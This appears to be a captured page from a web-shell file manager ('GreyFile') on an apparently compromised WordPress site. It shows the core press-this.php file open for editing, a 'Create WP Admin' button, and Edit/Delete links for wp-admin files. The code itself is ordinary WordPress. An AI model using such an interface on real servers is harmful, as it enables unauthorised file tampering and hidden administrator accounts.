?? GreyFile — Mystic File Browser
Current path:
home
/
webdevt
/
www
/
dev-uz-avocat
/
wp-admin
/
?? Create WP Admin
??
Go up: /home/webdevt/www/dev-uz-avocat
?? Editing: press-this.php
<?php /** * Press This Display and Handler. * * @package WordPress * @subpackage Press_This */ define( 'IFRAME_REQUEST', true ); /** WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; function wp_load_press_this() { $plugin_slug = 'press-this'; $plugin_file = 'press-this/press-this-plugin.php'; if ( ! current_user_can( 'edit_posts' ) || ! current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) { wp_die( __( 'Sorry, you are not allowed to create posts as this user.' ), __( 'You need a higher level of permission.' ), 403 ); } elseif ( is_plugin_active( $plugin_file ) ) { include WP_PLUGIN_DIR . '/press-this/class-wp-press-this-plugin.php'; // @phpstan-ignore include.fileNotFound $wp_press_this = new WP_Press_This_Plugin(); // @phpstan-ignore class.notFound $wp_press_this->html(); } elseif ( current_user_can( 'activate_plugins' ) ) { if ( file_exists( WP_PLUGIN_DIR . '/' . $plugin_file ) ) { $url = wp_nonce_url( add_query_arg( array( 'action' => 'activate', 'plugin' => $plugin_file, 'from' => 'press-this', ), admin_url( 'plugins.php' ) ), 'activate-plugin_' . $plugin_file ); $action = sprintf( '<a href="%1$s" aria-label="%2$s">%2$s</a>', esc_url( $url ), __( 'Activate Press This' ) ); } else { if ( is_main_site() ) { $url = wp_nonce_url( add_query_arg( array( 'action' => 'install-plugin', 'plugin' => $plugin_slug, 'from' => 'press-this', ), self_admin_url( 'update.php' ) ), 'install-plugin_' . $plugin_slug ); $action = sprintf( '<a href="%1$s" class="install-now" data-slug="%2$s" data-name="%2$s" aria-label="%3$s">%3$s</a>', esc_url( $url ), esc_attr( $plugin_slug ), _x( 'Install Now', 'plugin' ) ); } else { $action = sprintf( /* translators: %s: URL to Press This bookmarklet on the main site. */ __( 'Press This is not installed. Please install Press This from <a href="%s">the main site</a>.' ), get_admin_url( get_current_network_id(), 'press-this.php' ) ); } } wp_die( __( 'The Press This plugin is required.' ) . '<br />' . $action, __( 'Installation Required' ), 200 ); } else { wp_die( __( 'Press This is not available. Please contact your site administrator.' ), __( 'Installation Required' ), 200 ); } } wp_load_press_this();
Save
Upload
??
Create Folder
??
Create File
??
css
|
??? Delete
??
images
|
??? Delete
??
includes
|
??? Delete
??
js
|
??? Delete
??
maint
|
??? Delete
??
network
|
??? Delete
??
user
|
??? Delete
??
.DS_Store
|
?? Edit
|
??? Delete
??
about.php
|
?? Edit
|
??? Delete
??
admin-ajax.php
|
?? Edit
|
??? Delete
??
admin-footer.php
|
?? Edit
|
??? Delete
??
admin-functions.php
|
?? Edit
|
??? Delete
??
admin-header.php
|
?? Edit
|
??? Delete
??
admin-post.php
|
?? Edit
|
??? Delete
??
admin.php
|
?? Edit
|
??? Delete
??
async-upload.php
|
?? Edit
|
??? Delete
??
authorize-application.php
|
?? Edit
|
??? Delete
??
comment.php
|
?? Edit
|
??? Delete
??
contribute.php
|
?? Edit
|
??? Delete
??
credits.php
|
?? Edit
|
??? Delete
??
custom-background.php
|
?? Edit
|
??? Delete
??
custom-header.php
|
?? Edit
|
??? Delete
??
customize.php
|
?? Edit
|
??? Delete
??
edit-comments.php
|
?? Edit
|
??? Delete
??
edit-form-advanced.php
|
?? Edit
|
??? Delete
??
edit-form-blocks.php
|
?? Edit
|
??? Delete
??
edit-form-comment.php
|
?? Edit
|
??? Delete
??
edit-link-form.php
|
?? Edit
|
??? Delete
??
edit-tag-form.php
|
?? Edit
|
??? Delete
??
edit-tags.php
|
?? Edit
|
??? Delete
??
edit.php
|
?? Edit
|
??? Delete
??
erase-personal-data.php
|
?? Edit
|
??? Delete
??
export-personal-data.php
|
?? Edit
|
??? Delete
??
export.php
|
?? Edit
|
??? Delete
??
font-library.php
|
?? Edit
|
??? Delete
??
freedoms.php
|
?? Edit
|
??? Delete
??
import.php
|
?? Edit
|
??? Delete
??
index.php
|
?? Edit
|
??? Delete
??
install-helper.php
|
?? Edit
|
??? Delete
??
install.php
|
?? Edit
|
??? Delete
??
link-add.php
|
?? Edit
|
??? Delete
??
link-manager.php
|
?? Edit
|
??? Delete
??
link-parse-opml.php
|
?? Edit
|
??? Delete
??
link.php
|
?? Edit
|
??? Delete
??
load-scripts.php
|
?? Edit
|
??? Delete
??
load-styles.php
|
?? Edit
|
??? Delete
??
media-new.php
|
?? Edit
|
??? Delete
??
media-upload.php
|
?? Edit
|
??? Delete
??
media.php
|
?? Edit
|
??? Delete
??
menu-header.php
|
?? Edit
|
??? Delete
??
menu.php
|
?? Edit
|
??? Delete
??
moderation.php
|
?? Edit
|
??? Delete
??
ms-admin.php
|
?? Edit
|
??? Delete
??
ms-delete-site.php
|
?? Edit
|
??? Delete
??
ms-edit.php
|
?? Edit
|
??? Delete
??
ms-options.php
|
?? Edit
|
??? Delete
??
ms-sites.php
|
?? Edit
|
??? Delete
??
ms-themes.php
|
?? Edit
|
??? Delete
??
ms-upgrade-network.php
|
?? Edit
|
??? Delete
??
ms-users.php
|
?? Edit
|
??? Delete
??
my-sites.php
|
?? Edit
|
??? Delete
??
nav-menus.php
|
?? Edit
|
??? Delete
??
network.php
|
?? Edit
|
??? Delete
??
options-connectors.php
|
?? Edit
|
??? Delete
??
options-discussion.php
|
?? Edit
|
??? Delete
??
options-general.php
|
?? Edit
|
??? Delete
??
options-head.php
|
?? Edit
|
??? Delete
??
options-media.php
|
?? Edit
|
??? Delete
??
options-permalink.php
|
?? Edit
|
??? Delete
??
options-privacy.php
|
?? Edit
|
??? Delete
??
options-reading.php
|
?? Edit
|
??? Delete
??
options-writing.php
|
?? Edit
|
??? Delete
??
options.php
|
?? Edit
|
??? Delete
??
plugin-editor.php
|
?? Edit
|
??? Delete
??
plugin-install.php
|
?? Edit
|
??? Delete
??
plugins.php
|
?? Edit
|
??? Delete
??
post-new.php
|
?? Edit
|
??? Delete
??
post.php
|
?? Edit
|
??? Delete
??
press-this.php
|
?? Edit
|
??? Delete
??
privacy-policy-guide.php
|
?? Edit
|
??? Delete
??
privacy.php
|
?? Edit
|
??? Delete
??
profile.php
|
?? Edit
|
??? Delete
??
revision.php
|
?? Edit
|
??? Delete
??
setup-config.php
|
?? Edit
|
??? Delete
??
site-editor.php
|
?? Edit
|
??? Delete
??
site-health-info.php
|
?? Edit
|
??? Delete
??
site-health.php
|
?? Edit
|
??? Delete
??
term.php
|
?? Edit
|
??? Delete
??
theme-editor.php
|
?? Edit
|
??? Delete
??
theme-install.php
|
?? Edit
|
??? Delete
??
themes.php
|
?? Edit
|
??? Delete
??
tools.php
|
?? Edit
|
??? Delete
??
update-core.php
|
?? Edit
|
??? Delete
??
update.php
|
?? Edit
|
??? Delete
??
upgrade-functions.php
|
?? Edit
|
??? Delete
??
upgrade.php
|
?? Edit
|
??? Delete
??
upload.php
|
?? Edit
|
??? Delete
??
user-edit.php
|
?? Edit
|
??? Delete
??
user-new.php
|
?? Edit
|
??? Delete
??
users.php
|
?? Edit
|
??? Delete
??
widgets-form-blocks.php
|
?? Edit
|
??? Delete
??
widgets-form.php
|
?? Edit
|
??? Delete
??
widgets.php
|
?? Edit
|
??? Delete